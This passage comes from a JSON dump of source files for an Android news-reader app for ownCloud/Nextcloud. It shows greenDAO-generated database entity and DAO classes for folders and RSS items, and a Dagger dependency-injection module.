DaoException(\"Entity is detached from DAO context\");\n            }\n            FeedDao targetDao = daoSession.getFeedDao();\n            List<Feed> feedListNew = targetDao._queryFolder_FeedList(id);\n            synchronized (this) {\n                if(feedList == null) {\n                    feedList = feedListNew;\n                }\n            }\n        }\n        return feedList;\n    }\n\n    /** Resets a to-many relationship, making the next get call to query for a fresh result. */\n    public synchronized void resetFeedList() {\n        feedList = null;\n    }\n\n    /** Convenient call for {@link AbstractDao#delete(Object)}. Entity must attached to an entity context. */\n    public void delete() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.delete(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#update(Object)}. Entity must attached to an entity context. */\n    public void update() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.update(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#refresh(Object)}. Entity must attached to an entity context. */\n    public void refresh() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.refresh(this);\n    }\n\n    // KEEP METHODS - put your custom methods here\n    // KEEP METHODS END\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/FolderDao.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteStatement;\n\nimport de.greenrobot.dao.AbstractDao;\nimport de.greenrobot.dao.Property;\nimport de.greenrobot.dao.internal.DaoConfig;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n/**\n * DAO for table \"FOLDER\".\n */\npublic class FolderDao extends AbstractDao<Folder, Long> {\n\n    public static final String TABLENAME = \"FOLDER\";\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long readKey(Cursor cursor, int offset) {\n        return cursor.getLong(offset);\n    }\n\n    private DaoSession daoSession;\n\n\n    public FolderDao(DaoConfig config) {\n        super(config);\n    }\n\n    public FolderDao(DaoConfig config, DaoSession daoSession) {\n        super(config, daoSession);\n        this.daoSession = daoSession;\n    }\n\n    /** Creates the underlying database table. */\n    public static void createTable(SQLiteDatabase db, boolean ifNotExists) {\n        String constraint = ifNotExists? \"IF NOT EXISTS \": \"\";\n        db.execSQL(\"CREATE TABLE \" + constraint + \"\\\"FOLDER\\\" (\" + //\n                \"\\\"_id\\\" INTEGER PRIMARY KEY NOT NULL ,\" + // 0: id\n                \"\\\"LABEL\\\" TEXT NOT NULL );\"); // 1: label\n    }\n\n    /** Drops the underlying database table. */\n    public static void dropTable(SQLiteDatabase db, boolean ifExists) {\n        String sql = \"DROP TABLE \" + (ifExists ? \"IF EXISTS \" : \"\") + \"\\\"FOLDER\\\"\";\n        db.execSQL(sql);\n    }\n\n    /** @inheritdoc */\n    @Override\n    protected void bindValues(SQLiteStatement stmt, Folder entity) {\n        stmt.clearBindings();\n        stmt.bindLong(1, entity.getId());\n        stmt.bindString(2, entity.getLabel());\n    }\n\n    @Override\n    protected void attachEntity(Folder entity) {\n        super.attachEntity(entity);\n        entity.__setDaoSession(daoSession);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Folder readEntity(Cursor cursor, int offset) {\n        Folder entity = new Folder( //\n                cursor.getLong(offset), // id\n                cursor.getString(offset + 1) // label\n        );\n        return entity;\n    }\n\n    /**\n     * Properties of entity Folder.<br/>\n     * Can be used for QueryBuilder and for referencing column names.\n     */\n    public static class Properties {\n        public final static Property Id = new Property(0, long.class, \"id\", true, \"_id\");\n        public final static Property Label = new Property(1, String.class, \"label\", false, \"LABEL\");\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public void readEntity(Cursor cursor, Folder entity, int offset) {\n        entity.setId(cursor.getLong(offset));\n        entity.setLabel(cursor.getString(offset + 1));\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected Long updateKeyAfterInsert(Folder entity, long rowId) {\n        entity.setId(rowId);\n        return rowId;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long getKey(Folder entity) {\n        if (entity != null) {\n            return entity.getId();\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected boolean isEntityUpdateable() {\n        return true;\n    }\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/RssItem.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport de.greenrobot.dao.DaoException;\nimport de.luhmer.owncloudnewsreader.adapter.HasId;\n\n// THIS CODE IS GENERATED BY greenDAO, EDIT ONLY INSIDE THE \"KEEP\"-SECTIONS\n\n// KEEP INCLUDES - put your custom includes here\n// KEEP INCLUDES END\n/**\n * Entity mapped to table \"RSS_ITEM\".\n */\npublic class RssItem implements HasId<Long> {\n\n    private long id;\n    private long feedId;\n    private String link;\n    private String title;\n    private String body;\n    private Boolean read;\n    private Boolean starred;\n    /** Not-null value. */\n    private String author;\n    /** Not-null value. */\n    private String guid;\n    /** Not-null value. */\n    private String guidHash;\n    /** Not-null value. */\n    private String fingerprint;\n    private Boolean read_temp;\n    private Boolean starred_temp;\n    private java.util.Date lastModified;\n    private java.util.Date pubDate;\n    private String enclosureLink;\n    private String enclosureMime;\n    private String mediaThumbnail;\n    private String mediaDescription;\n    private Boolean rtl;\n\n    /** Used to resolve relations */\n    private transient DaoSession daoSession;\n\n    /** Used for active entity operations. */\n    private transient RssItemDao myDao;\n\n    private Feed feed;\n    private Long feed__resolvedKey;\n\n\n    // KEEP FIELDS - put your custom fields here\n    // KEEP FIELDS END\n\n    public RssItem() {\n    }\n\n    public RssItem(long id) {\n        this.id = id;\n    }\n\n    public RssItem(long id, long feedId, String link, String title, String body, Boolean read, Boolean starred, String author, String guid, String guidHash, String fingerprint, Boolean read_temp, Boolean starred_temp, java.util.Date lastModified, java.util.Date pubDate, String enclosureLink, String enclosureMime, String mediaThumbnail, String mediaDescription, Boolean rtl) {\n        this.id = id;\n        this.feedId = feedId;\n        this.link = link;\n        this.title = title;\n        this.body = body;\n        this.read = read;\n        this.starred = starred;\n        this.author = author;\n        this.guid = guid;\n        this.guidHash = guidHash;\n        this.fingerprint = fingerprint;\n        this.read_temp = read_temp;\n        this.starred_temp = starred_temp;\n        this.lastModified = lastModified;\n        this.pubDate = pubDate;\n        this.enclosureLink = enclosureLink;\n        this.enclosureMime = enclosureMime;\n        this.mediaThumbnail = mediaThumbnail;\n        this.mediaDescription = mediaDescription;\n        this.rtl = rtl;\n    }\n\n    /** called by internal mechanisms, do not call yourself. */\n    public void __setDaoSession(DaoSession daoSession) {\n        this.daoSession = daoSession;\n        myDao = daoSession != null ? daoSession.getRssItemDao() : null;\n    }\n\n    public Long getId() {\n        return id;\n    }\n\n    public void setId(long id) {\n        this.id = id;\n    }\n\n    public long getFeedId() {\n        return feedId;\n    }\n\n    public void setFeedId(long feedId) {\n        this.feedId = feedId;\n    }\n\n    public String getLink() {\n        return link;\n    }\n\n    public void setLink(String link) {\n        this.link = link;\n    }\n\n    public String getTitle() {\n        return title;\n    }\n\n    public void setTitle(String title) {\n        this.title = title;\n    }\n\n    public String getBody() {\n        return body;\n    }\n\n    public void setBody(String body) {\n        this.body = body;\n    }\n\n    public Boolean getRead() {\n        return read;\n    }\n\n    public void setRead(Boolean read) {\n        this.read = read;\n    }\n\n    public Boolean getStarred() {\n        return starred;\n    }\n\n    public void setStarred(Boolean starred) {\n        this.starred = starred;\n    }\n\n    /** Not-null value. */\n    public String getAuthor() {\n        return author;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setAuthor(String author) {\n        this.author = author;\n    }\n\n    /** Not-null value. */\n    public String getGuid() {\n        return guid;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setGuid(String guid) {\n        this.guid = guid;\n    }\n\n    /** Not-null value. */\n    public String getGuidHash() {\n        return guidHash;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setGuidHash(String guidHash) {\n        this.guidHash = guidHash;\n    }\n\n    /** Not-null value. */\n    public String getFingerprint() {\n        return fingerprint;\n    }\n\n    /** Not-null value; ensure this value is available before it is saved to the database. */\n    public void setFingerprint(String fingerprint) {\n        this.fingerprint = fingerprint;\n    }\n\n    public Boolean getRead_temp() {\n        return read_temp;\n    }\n\n    public void setRead_temp(Boolean read_temp) {\n        this.read_temp = read_temp;\n    }\n\n    public Boolean getStarred_temp() {\n        return starred_temp;\n    }\n\n    public void setStarred_temp(Boolean starred_temp) {\n        this.starred_temp = starred_temp;\n    }\n\n    public java.util.Date getLastModified() {\n        return lastModified;\n    }\n\n    public void setLastModified(java.util.Date lastModified) {\n        this.lastModified = lastModified;\n    }\n\n    public java.util.Date getPubDate() {\n        return pubDate;\n    }\n\n    public void setPubDate(java.util.Date pubDate) {\n        this.pubDate = pubDate;\n    }\n\n    public String getEnclosureLink() {\n        return enclosureLink;\n    }\n\n    public void setEnclosureLink(String enclosureLink) {\n        this.enclosureLink = enclosureLink;\n    }\n\n    public String getEnclosureMime() {\n        return enclosureMime;\n    }\n\n    public void setEnclosureMime(String enclosureMime) {\n        this.enclosureMime = enclosureMime;\n    }\n\n    public String getMediaThumbnail() {\n        return mediaThumbnail;\n    }\n\n    public void setMediaThumbnail(String mediaThumbnail) {\n        this.mediaThumbnail = mediaThumbnail;\n    }\n\n    public String getMediaDescription() {\n        return mediaDescription;\n    }\n\n    public void setMediaDescription(String mediaDescription) {\n        this.mediaDescription = mediaDescription;\n    }\n\n    public Boolean getRtl() {\n        return rtl;\n    }\n\n    public void setRtl(Boolean rtl) {\n        this.rtl = rtl;\n    }\n\n    /** To-one relationship, resolved on first access. */\n    public Feed getFeed() {\n        long __key = this.feedId;\n        if (feed__resolvedKey == null || !feed__resolvedKey.equals(__key)) {\n            if (daoSession == null) {\n                throw new DaoException(\"Entity is detached from DAO context\");\n            }\n            FeedDao targetDao = daoSession.getFeedDao();\n            Feed feedNew = targetDao.load(__key);\n            synchronized (this) {\n                feed = feedNew;\n            \tfeed__resolvedKey = __key;\n            }\n        }\n        return feed;\n    }\n\n    public void setFeed(Feed feed) {\n        if (feed == null) {\n            throw new DaoException(\"To-one property 'feedId' has not-null constraint; cannot set to-one to null\");\n        }\n        synchronized (this) {\n            this.feed = feed;\n            feedId = feed.getId();\n            feed__resolvedKey = feedId;\n        }\n    }\n\n    /** Convenient call for {@link AbstractDao#delete(Object)}. Entity must attached to an entity context. */\n    public void delete() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.delete(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#update(Object)}. Entity must attached to an entity context. */\n    public void update() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.update(this);\n    }\n\n    /** Convenient call for {@link AbstractDao#refresh(Object)}. Entity must attached to an entity context. */\n    public void refresh() {\n        if (myDao == null) {\n            throw new DaoException(\"Entity is detached from DAO context\");\n        }    \n        myDao.refresh(this);\n    }\n\n    // KEEP METHODS - put your custom methods here\n    // KEEP METHODS END\n\n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/database/model/RssItemDao.java",
    "content": "package de.luhmer.owncloudnewsreader.database.model;\n\nimport android.database.Cursor;\nimport android.database.sqlite.SQLiteDatabase;\nimport android.database.sqlite.SQLiteStatement;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport de.greenrobot.dao.AbstractDao;\nimport de.greenrobot.dao.Property;\nimport de.greenrobot.dao.internal.DaoConfig;\nimport de.greenrobot.dao.internal.SqlUtils;\nimport de.greenrobot.dao.query.Query;\nimport de.greenrobot.dao.query.QueryBuilder;\n\n// THIS CODE IS GENERATED BY greenDAO, DO NOT EDIT.\n/**\n * DAO for table \"RSS_ITEM\".\n */\npublic class RssItemDao extends AbstractDao<RssItem, Long> {\n\n    public static final String TABLENAME = \"RSS_ITEM\";\n\n    /** @inheritdoc */\n    @Override\n    protected void bindValues(SQLiteStatement stmt, RssItem entity) {\n        stmt.clearBindings();\n        stmt.bindLong(1, entity.getId());\n        stmt.bindLong(2, entity.getFeedId());\n\n        String link = entity.getLink();\n        if (link != null) {\n            stmt.bindString(3, link);\n        }\n\n        String title = entity.getTitle();\n        if (title != null) {\n            stmt.bindString(4, title);\n        }\n\n        String body = entity.getBody();\n        if (body != null) {\n            stmt.bindString(5, body);\n        }\n\n        Boolean read = entity.getRead();\n        if (read != null) {\n            stmt.bindLong(6, read ? 1L: 0L);\n        }\n\n        Boolean starred = entity.getStarred();\n        if (starred != null) {\n            stmt.bindLong(7, starred ? 1L: 0L);\n        }\n        stmt.bindString(8, entity.getAuthor());\n        stmt.bindString(9, entity.getGuid());\n        stmt.bindString(10, entity.getGuidHash());\n        stmt.bindString(11, entity.getFingerprint());\n\n        Boolean read_temp = entity.getRead_temp();\n        if (read_temp != null) {\n            stmt.bindLong(12, read_temp ? 1L: 0L);\n        }\n\n        Boolean starred_temp = entity.getStarred_temp();\n        if (starred_temp != null) {\n            stmt.bindLong(13, starred_temp ? 1L: 0L);\n        }\n\n        java.util.Date lastModified = entity.getLastModified();\n        if (lastModified != null) {\n            stmt.bindLong(14, lastModified.getTime());\n        }\n\n        java.util.Date pubDate = entity.getPubDate();\n        if (pubDate != null) {\n            stmt.bindLong(15, pubDate.getTime());\n        }\n\n        String enclosureLink = entity.getEnclosureLink();\n        if (enclosureLink != null) {\n            stmt.bindString(16, enclosureLink);\n        }\n\n        String enclosureMime = entity.getEnclosureMime();\n        if (enclosureMime != null) {\n            stmt.bindString(17, enclosureMime);\n        }\n\n        String mediaThumbnail = entity.getMediaThumbnail();\n        if (mediaThumbnail != null) {\n            stmt.bindString(18, mediaThumbnail);\n        }\n\n        String mediaDescription = entity.getMediaDescription();\n        if (mediaDescription != null) {\n            stmt.bindString(19, mediaDescription);\n        }\n\n        Boolean rtl = entity.getRtl();\n        if (rtl != null) {\n            stmt.bindLong(20, rtl ? 1L : 0L);\n        }\n    }\n\n    private DaoSession daoSession;\n\n    private Query<RssItem> feed_RssItemListQuery;\n\n    public RssItemDao(DaoConfig config) {\n        super(config);\n    }\n\n    public RssItemDao(DaoConfig config, DaoSession daoSession) {\n        super(config, daoSession);\n        this.daoSession = daoSession;\n    }\n\n    /** Creates the underlying database table. */\n    public static void createTable(SQLiteDatabase db, boolean ifNotExists) {\n        String constraint = ifNotExists? \"IF NOT EXISTS \": \"\";\n        db.execSQL(\"CREATE TABLE \" + constraint + \"\\\"RSS_ITEM\\\" (\" + //\n                \"\\\"_id\\\" INTEGER PRIMARY KEY NOT NULL ,\" + // 0: id\n                \"\\\"FEED_ID\\\" INTEGER NOT NULL ,\" + // 1: feedId\n                \"\\\"LINK\\\" TEXT,\" + // 2: link\n                \"\\\"TITLE\\\" TEXT,\" + // 3: title\n                \"\\\"BODY\\\" TEXT,\" + // 4: body\n                \"\\\"READ\\\" INTEGER,\" + // 5: read\n                \"\\\"STARRED\\\" INTEGER,\" + // 6: starred\n                \"\\\"AUTHOR\\\" TEXT NOT NULL ,\" + // 7: author\n                \"\\\"GUID\\\" TEXT NOT NULL ,\" + // 8: guid\n                \"\\\"GUID_HASH\\\" TEXT NOT NULL ,\" + // 9: guidHash\n                \"\\\"FINGERPRINT\\\" TEXT NOT NULL ,\" + // 10: fingerprint\n                \"\\\"READ_TEMP\\\" INTEGER,\" + // 11: read_temp\n                \"\\\"STARRED_TEMP\\\" INTEGER,\" + // 12: starred_temp\n                \"\\\"LAST_MODIFIED\\\" INTEGER,\" + // 13: lastModified\n                \"\\\"PUB_DATE\\\" INTEGER,\" + // 14: pubDate\n                \"\\\"ENCLOSURE_LINK\\\" TEXT,\" + // 15: enclosureLink\n                \"\\\"ENCLOSURE_MIME\\\" TEXT,\" + // 16: enclosureMime\n                \"\\\"MEDIA_THUMBNAIL\\\" TEXT,\" + // 17: mediaThumbnail\n                \"\\\"MEDIA_DESCRIPTION\\\" TEXT,\" + // 18: mediaDescription\n                \"\\\"RTL\\\" INTEGER);\"); // 19: rtl\n        // Add Indexes\n        db.execSQL(\"CREATE INDEX \" + constraint + \"IDX_RSS_ITEM_FEED_ID ON RSS_ITEM\" +\n                \" (\\\"FEED_ID\\\");\");\n    }\n\n    /** Drops the underlying database table. */\n    public static void dropTable(SQLiteDatabase db, boolean ifExists) {\n        String sql = \"DROP TABLE \" + (ifExists ? \"IF EXISTS \" : \"\") + \"\\\"RSS_ITEM\\\"\";\n        db.execSQL(sql);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long readKey(Cursor cursor, int offset) {\n        return cursor.getLong(offset);\n    }\n\n    @Override\n    protected void attachEntity(RssItem entity) {\n        super.attachEntity(entity);\n        entity.__setDaoSession(daoSession);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public RssItem readEntity(Cursor cursor, int offset) {\n        RssItem entity = new RssItem( //\n                cursor.getLong(offset), // id\n                cursor.getLong(offset + 1), // feedId\n                cursor.isNull(offset + 2) ? null : cursor.getString(offset + 2), // link\n                cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3), // title\n                cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4), // body\n                cursor.isNull(offset + 5) ? null : cursor.getShort(offset + 5) != 0, // read\n                cursor.isNull(offset + 6) ? null : cursor.getShort(offset + 6) != 0, // starred\n                cursor.getString(offset + 7), // author\n                cursor.getString(offset + 8), // guid\n                cursor.getString(offset + 9), // guidHash\n                cursor.getString(offset + 10), // fingerprint\n                cursor.isNull(offset + 11) ? null : cursor.getShort(offset + 11) != 0, // read_temp\n                cursor.isNull(offset + 12) ? null : cursor.getShort(offset + 12) != 0, // starred_temp\n                cursor.isNull(offset + 13) ? null : new java.util.Date(cursor.getLong(offset + 13)), // lastModified\n                cursor.isNull(offset + 14) ? null : new java.util.Date(cursor.getLong(offset + 14)), // pubDate\n                cursor.isNull(offset + 15) ? null : cursor.getString(offset + 15), // enclosureLink\n                cursor.isNull(offset + 16) ? null : cursor.getString(offset + 16), // enclosureMime\n                cursor.isNull(offset + 17) ? null : cursor.getString(offset + 17), // mediaThumbnail\n                cursor.isNull(offset + 18) ? null : cursor.getString(offset + 18), // mediaDescription\n                cursor.isNull(offset + 19) ? null : cursor.getShort(offset + 19) != 0 // rtl\n        );\n        return entity;\n    }\n\n    protected RssItem loadCurrentDeep(Cursor cursor, boolean lock) {\n        RssItem entity = loadCurrent(cursor, 0, lock);\n        int offset = getAllColumns().length;\n\n        Feed feed = loadCurrentOther(daoSession.getFeedDao(), cursor, offset);\n        if (feed != null) {\n            entity.setFeed(feed);\n        }\n\n        return entity;\n    }\n     \n    /** @inheritdoc */\n    @Override\n    public void readEntity(Cursor cursor, RssItem entity, int offset) {\n        entity.setId(cursor.getLong(offset));\n        entity.setFeedId(cursor.getLong(offset + 1));\n        entity.setLink(cursor.isNull(offset + 2) ? null : cursor.getString(offset + 2));\n        entity.setTitle(cursor.isNull(offset + 3) ? null : cursor.getString(offset + 3));\n        entity.setBody(cursor.isNull(offset + 4) ? null : cursor.getString(offset + 4));\n        entity.setRead(cursor.isNull(offset + 5) ? null : cursor.getShort(offset + 5) != 0);\n        entity.setStarred(cursor.isNull(offset + 6) ? null : cursor.getShort(offset + 6) != 0);\n        entity.setAuthor(cursor.getString(offset + 7));\n        entity.setGuid(cursor.getString(offset + 8));\n        entity.setGuidHash(cursor.getString(offset + 9));\n        entity.setFingerprint(cursor.getString(offset + 10));\n        entity.setRead_temp(cursor.isNull(offset + 11) ? null : cursor.getShort(offset + 11) != 0);\n        entity.setStarred_temp(cursor.isNull(offset + 12) ? null : cursor.getShort(offset + 12) != 0);\n        entity.setLastModified(cursor.isNull(offset + 13) ? null : new java.util.Date(cursor.getLong(offset + 13)));\n        entity.setPubDate(cursor.isNull(offset + 14) ? null : new java.util.Date(cursor.getLong(offset + 14)));\n        entity.setEnclosureLink(cursor.isNull(offset + 15) ? null : cursor.getString(offset + 15));\n        entity.setEnclosureMime(cursor.isNull(offset + 16) ? null : cursor.getString(offset + 16));\n        entity.setMediaThumbnail(cursor.isNull(offset + 17) ? null : cursor.getString(offset + 17));\n        entity.setMediaDescription(cursor.isNull(offset + 18) ? null : cursor.getString(offset + 18));\n        entity.setRtl(cursor.isNull(offset + 19) ? null : cursor.getShort(offset + 19) != 0);\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected Long updateKeyAfterInsert(RssItem entity, long rowId) {\n        entity.setId(rowId);\n        return rowId;\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    public Long getKey(RssItem entity) {\n        if (entity != null) {\n            return entity.getId();\n        } else {\n            return null;\n        }\n    }\n\n    /**\n     * @inheritdoc\n     */\n    @Override\n    protected boolean isEntityUpdateable() {\n        return true;\n    }\n\n    /**\n     * Internal query to resolve the \"rssItemList\" to-many relationship of Feed.\n     */\n    public List<RssItem> _queryFeed_RssItemList(long feedId) {\n        synchronized (this) {\n            if (feed_RssItemListQuery == null) {\n                QueryBuilder<RssItem> queryBuilder = queryBuilder();\n                queryBuilder.where(Properties.FeedId.eq(null));\n                feed_RssItemListQuery = queryBuilder.build();\n            }\n        }\n        Query<RssItem> query = feed_RssItemListQuery.forCurrentThread();\n        query.setParameter(0, feedId);\n        return query.list();\n    }\n\n    private String selectDeep;\n\n    protected String getSelectDeep() {\n        if (selectDeep == null) {\n            StringBuilder builder = new StringBuilder(\"SELECT \");\n            SqlUtils.appendColumns(builder, \"T\", getAllColumns());\n            builder.append(',');\n            SqlUtils.appendColumns(builder, \"T0\", daoSession.getFeedDao().getAllColumns());\n            builder.append(\" FROM RSS_ITEM T\");\n            builder.append(\" LEFT JOIN FEED T0 ON T.\\\"FEED_ID\\\"=T0.\\\"_id\\\"\");\n            builder.append(' ');\n            selectDeep = builder.toString();\n        }\n        return selectDeep;\n    }\n\n    /**\n     * Properties of entity RssItem.<br/>\n     * Can be used for QueryBuilder and for referencing column names.\n     */\n    public static class Properties {\n        public final static Property Id = new Property(0, long.class, \"id\", true, \"_id\");\n        public final static Property FeedId = new Property(1, long.class, \"feedId\", false, \"FEED_ID\");\n        public final static Property Link = new Property(2, String.class, \"link\", false, \"LINK\");\n        public final static Property Title = new Property(3, String.class, \"title\", false, \"TITLE\");\n        public final static Property Body = new Property(4, String.class, \"body\", false, \"BODY\");\n        public final static Property Read = new Property(5, Boolean.class, \"read\", false, \"READ\");\n        public final static Property Starred = new Property(6, Boolean.class, \"starred\", false, \"STARRED\");\n        public final static Property Author = new Property(7, String.class, \"author\", false, \"AUTHOR\");\n        public final static Property Guid = new Property(8, String.class, \"guid\", false, \"GUID\");\n        public final static Property GuidHash = new Property(9, String.class, \"guidHash\", false, \"GUID_HASH\");\n        public final static Property Fingerprint = new Property(10, String.class, \"fingerprint\", false, \"FINGERPRINT\");\n        public final static Property Read_temp = new Property(11, Boolean.class, \"read_temp\", false, \"READ_TEMP\");\n        public final static Property Starred_temp = new Property(12, Boolean.class, \"starred_temp\", false, \"STARRED_TEMP\");\n        public final static Property LastModified = new Property(13, java.util.Date.class, \"lastModified\", false, \"LAST_MODIFIED\");\n        public final static Property PubDate = new Property(14, java.util.Date.class, \"pubDate\", false, \"PUB_DATE\");\n        public final static Property EnclosureLink = new Property(15, String.class, \"enclosureLink\", false, \"ENCLOSURE_LINK\");\n        public final static Property EnclosureMime = new Property(16, String.class, \"enclosureMime\", false, \"ENCLOSURE_MIME\");\n        public final static Property MediaThumbnail = new Property(17, String.class, \"mediaThumbnail\", false, \"MEDIA_THUMBNAIL\");\n        public final static Property MediaDescription = new Property(18, String.class, \"mediaDescription\", false, \"MEDIA_DESCRIPTION\");\n        public final static Property Rtl = new Property(19, Boolean.class, \"rtl\", false, \"RTL\");\n    }\n\n    public RssItem loadDeep(Long key) {\n        assertSinglePk();\n        if (key == null) {\n            return null;\n        }\n\n        StringBuilder builder = new StringBuilder(getSelectDeep());\n        builder.append(\"WHERE \");\n        SqlUtils.appendColumnsEqValue(builder, \"T\", getPkColumns());\n        String sql = builder.toString();\n\n        String[] keyArray = new String[]{key.toString()};\n        Cursor cursor = db.rawQuery(sql, keyArray);\n\n        try {\n            boolean available = cursor.moveToFirst();\n            if (!available) {\n                return null;\n            } else if (!cursor.isLast()) {\n                throw new IllegalStateException(\"Expected unique result, but count was \" + cursor.getCount());\n            }\n            return loadCurrentDeep(cursor, true);\n        } finally {\n            cursor.close();\n        }\n    }\n\n    /**\n     * Reads all available rows from the given cursor and returns a list of new ImageTO objects.\n     */\n    public List<RssItem> loadAllDeepFromCursor(Cursor cursor) {\n        int count = cursor.getCount();\n        List<RssItem> list = new ArrayList<RssItem>(count);\n\n        if (cursor.moveToFirst()) {\n            if (identityScope != null) {\n                identityScope.lock();\n                identityScope.reserveRoom(count);\n            }\n            try {\n                do {\n                    list.add(loadCurrentDeep(cursor, false));\n                } while (cursor.moveToNext());\n            } finally {\n                if (identityScope != null) {\n                    identityScope.unlock();\n                }\n            }\n        }\n        return list;\n    }\n    \n    protected List<RssItem> loadDeepAllAndCloseCursor(Cursor cursor) {\n        try {\n            return loadAllDeepFromCursor(cursor);\n        } finally {\n            cursor.close();\n        }\n    }\n    \n\n    /** A raw-style query where you can pass any WHERE clause and arguments. */\n    public List<RssItem> queryDeep(String where, String... selectionArg) {\n        Cursor cursor = db.rawQuery(getSelectDeep() + where, selectionArg);\n        return loadDeepAllAndCloseCursor(cursor);\n    }\n \n}\n"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/di/ApiModule.java",
    "content": "package de.luhmer.owncloudnewsreader.di;\n\nimport android.app.Application;\nimport android.content.Context;\nimport android.content.SharedPreferences;\n\nimport com.google.gson.FieldNamingPolicy;\nimport com.google.gson.Gson;\nimport com.google.gson.GsonBuilder;\n\nimport javax.inject.Named;\nimport javax.inject.Singleton;\n\nimport dagger.Module;\nimport dagger.Provides;\nimport de.luhmer.owncloudnewsreader.helper.PostDelayHandler;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\nimport de.luhmer.owncloudnewsreader.ssl.MemorizingTrustManager;\nimport okhttp3.Cache;\nimport okhttp3.OkHttpClient;\n\n/**\n * Created by david on 22.05.17.\n */\n\n@Module\npublic class ApiModule {\n\n    private final Application mApplication;\n\n    public ApiModule(Application application) {\n        this.mApplication = application;\n    }\n\n    // Dagger will only look for methods annotated with @Provides\n    @Provides\n    @Singleton\n    // Application reference must come from AppModule.class\n    SharedPreferences providesSharedPreferences() {\n        //return PreferenceManager.getDefaultSharedPreferences(mApplication);\n        SharedPreferences mPrefs = mApplication.getSharedPreferences(providesSharedPreferencesFileName(), Context.MODE_PRIVATE);\n        ThemeChooser.init(mPrefs);\n        return mPrefs;\n    }\n\n    // Dagger will only look for methods annotated with @Provides\n    @Provides\n    @Named(\"sharedPreferencesFileName\")\n    public String providesSharedPreferencesFileName() {\n        //return PreferenceManager.getDefaultSharedPreferencesName(mApplication);\n        return mApplication.getPackageName() + \"_preferences\";\n    }\n\n    // Dagger will only look for methods annotated with @Provides\n    @Provides\n    @Named(\"databaseFileName\")\n    public String providesDatabaseFileName() {\n        //return PreferenceManager.getDefaultSharedPreferencesName(mApplication);\n        return \"OwncloudNewsReaderOrm.db\";\n    }\n\n    /*\n    @Provides\n    @Singleton\n    NextcloudAPI providexNextcloudAPI() {\n        return new NextcloudAPI(\"\");\n    }*/\n\n    /*\n    @Provides\n    @Singleton\n    Cache provideOkHttpCache(Application application) {\n        int cacheSize = 10 * 1024 * 1024; // 10 MiB\n        Cache cache = new Cache(application.getCacheDir(), cacheSize);\n        return cache;\n    }*/\n\n    @Provides\n    @Singleton\n    Gson provideGson() {\n        GsonBuilder gsonBuilder = new GsonBuilder();\n        gsonBuilder.setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES);\n        return gsonBuilder.create();\n    }\n\n    @Provides\n    @Singleton\n    OkHttpClient provideOkHttpClient(Cache cache) {\n        // setCache(cache);\n        return new OkHttpClient();\n    }\n\n    @Provides\n    @Singleton\n    PostDelayHandler providePostDelayHandler() {\n        return new PostDelayHandler(mApplication);\n    }\n\n\n    /*\n    @Provides\n    @Singleton\n    Retrofit provideRetrofit(String baseUrl, Gson gson, OkHttpClient okHttpClient) {\n        Retrofit retrofit = new Retrofit.Builder()\n                .addConverterFactory(GsonConverterFactory.create(gson))\n                .baseUrl(baseUrl)\n                .client(okHttpClient)\n                .build();\n        return retrofit;\n    }\n    */\n\n    @Provides\n    @Singleton\n    MemorizingTrustManager provideMTM() {\n        return new MemorizingTrustManager(mApplication);\n    }\n\n    @Provides\n    @Singleton\n    ApiProvider provideAPI(MemorizingTrustManager mtm, SharedPreferences sp) {\n        return new ApiProvider(mtm, sp, mApplication);\n    }\n\n}"
  },
  {
    "path": "News-Android-App/src/main/java/de/luhmer/owncloudnewsreader/di/ApiProvider.java",
